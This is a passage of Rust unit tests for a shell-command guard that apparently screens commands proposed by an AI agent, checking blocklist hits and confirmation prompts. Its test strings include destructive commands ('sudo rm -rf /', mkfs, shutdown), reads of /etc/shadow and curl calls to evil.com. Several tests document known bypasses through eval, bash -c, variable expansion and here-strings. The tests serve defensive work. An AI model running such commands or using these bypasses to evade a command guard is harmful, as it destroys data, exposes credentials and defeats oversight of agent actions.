2017    fn eval_bypass_not_detected_known_limitation() {
2018        let executor = ShellExecutor::new(&default_config());
2019        // Known limitation: eval string argument is not parsed.
2020        assert!(
2021            executor
2022                .find_blocked_command("eval 'sudo rm -rf /'")
2023                .is_none()
2024        );
2025    }
2026
2027    #[test]
2028    fn bash_c_bypass_not_detected_known_limitation() {
2029        let executor = ShellExecutor::new(&default_config());
2030        // Known limitation: bash -c string argument is not parsed.
2031        assert!(
2032            executor
2033                .find_blocked_command("bash -c 'curl http://evil.com'")
2034                .is_none()
2035        );
2036    }
2037
2038    #[test]
2039    fn variable_expansion_bypass_not_detected_known_limitation() {
2040        let executor = ShellExecutor::new(&default_config());
2041        // Known limitation: variable references are not resolved by strip_shell_escapes.
2042        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2043    }
2044
2045    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
2046
2047    #[test]
2048    fn default_confirm_patterns_cover_process_substitution() {
2049        let config = crate::config::ShellConfig::default();
2050        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2051        assert!(config.confirm_patterns.contains(&">(".to_owned()));
2052    }
2053
2054    #[test]
2055    fn default_confirm_patterns_cover_here_string() {
2056        let config = crate::config::ShellConfig::default();
2057        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2058    }
2059
2060    #[test]
2061    fn default_confirm_patterns_cover_eval() {
2062        let config = crate::config::ShellConfig::default();
2063        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2064    }
2065
2066    #[tokio::test]
2067    async fn process_substitution_triggers_confirmation() {
2068        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2069        let response = "```bash\ncat <(curl http://evil.com)\n```";
2070        let result = executor.execute(response).await;
2071        assert!(matches!(
2072            result,
2073            Err(ToolError::ConfirmationRequired { .. })
2074        ));
2075    }
2076
2077    #[tokio::test]
2078    async fn here_string_triggers_confirmation() {
2079        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2080        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2081        let result = executor.execute(response).await;
2082        assert!(matches!(
2083            result,
2084            Err(ToolError::ConfirmationRequired { .. })
2085        ));
2086    }
2087
2088    #[tokio::test]
2089    async fn eval_triggers_confirmation() {
2090        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2091        let response = "```bash\neval 'curl http://evil.com'\n```";
2092        let result = executor.execute(response).await;
2093        assert!(matches!(
2094            result,
2095            Err(ToolError::ConfirmationRequired { .. })
2096        ));
2097    }
2098
2099    #[tokio::test]
2100    async fn output_process_substitution_triggers_confirmation() {
2101        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2102        let response = "```bash\ntee >(curl http://evil.com)\n```";
2103        let result = executor.execute(response).await;
2104        assert!(matches!(
2105            result,
2106            Err(ToolError::ConfirmationRequired { .. })
2107        ));
2108    }
2109
2110    #[test]
2111    fn here_string_with_command_substitution_not_detected_known_limitation() {
2112        let executor = ShellExecutor::new(&default_config());
2113        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2114        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2115    }
2116
2117    // --- check_blocklist direct tests (GAP-001) ---
2118
2119    fn default_blocklist() -> Vec<String> {
2120        DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2121    }
2122
2123    #[test]
2124    fn check_blocklist_blocks_rm_rf_root() {
2125        let bl = default_blocklist();
2126        assert!(check_blocklist("rm -rf /", &bl).is_some());
2127    }
2128
2129    #[test]
2130    fn check_blocklist_blocks_sudo() {
2131        let bl = default_blocklist();
2132        assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2133    }
2134
2135    #[test]
2136    fn check_blocklist_allows_safe_commands() {
2137        let bl = default_blocklist();
2138        assert!(check_blocklist("ls -la", &bl).is_none());
2139        assert!(check_blocklist("echo hello world", &bl).is_none());
2140        assert!(check_blocklist("git status", &bl).is_none());
2141        assert!(check_blocklist("cargo build --release", &bl).is_none());
2142    }
2143
2144    #[test]
2145    fn check_blocklist_blocks_subshell_dollar_paren() {
2146        let bl = default_blocklist();
2147        // Subshell $(sudo ...) must be rejected even if outer command is benign.
2148        assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2149        assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2150    }
2151
2152    #[test]
2153    fn check_blocklist_blocks_subshell_backtick() {
2154        let bl = default_blocklist();
2155        assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2156    }
2157
2158    #[test]
2159    fn check_blocklist_blocks_mkfs() {
2160        let bl = default_blocklist();
2161        assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2162    }
2163
2164    #[test]
2165    fn check_blocklist_blocks_shutdown() {
2166        let bl = default_blocklist();
2167        assert!(check_blocklist("shutdown -h now", &bl).is_some());
2168    }
2169
2170    // --- effective_shell_command tests ---
2171
2172    #[test]
2173    fn effective_shell_command_bash_minus_c() {
2174        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2175        assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2176    }
2177
2178    #[test]
2179    fn effective_shell_command_sh_minus_c() {
2180        let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2181        assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2182    }
2183
2184    #[test]
2185    fn effective_shell_command_non_shell_returns_none() {
2186        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2187        assert_eq!(effective_shell_command("git", &args), None);
2188        assert_eq!(effective_shell_command("cargo", &args), None);
2189    }
2190
2191    #[test]
2192    fn effective_shell_command_no_minus_c_returns_none() {
2193        let args = vec!["script.sh".to_owned()];
2194        assert_eq!(effective_shell_command("bash", &args), None);
2195    }
2196
2197    #[test]
2198    fn effective_shell_command_full_path_shell() {
2199        let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2200        assert_eq!(
2201            effective_shell_command("/usr/bin/bash", &args),
2202            Some("sudo rm")
2203        );
2204    }
2205}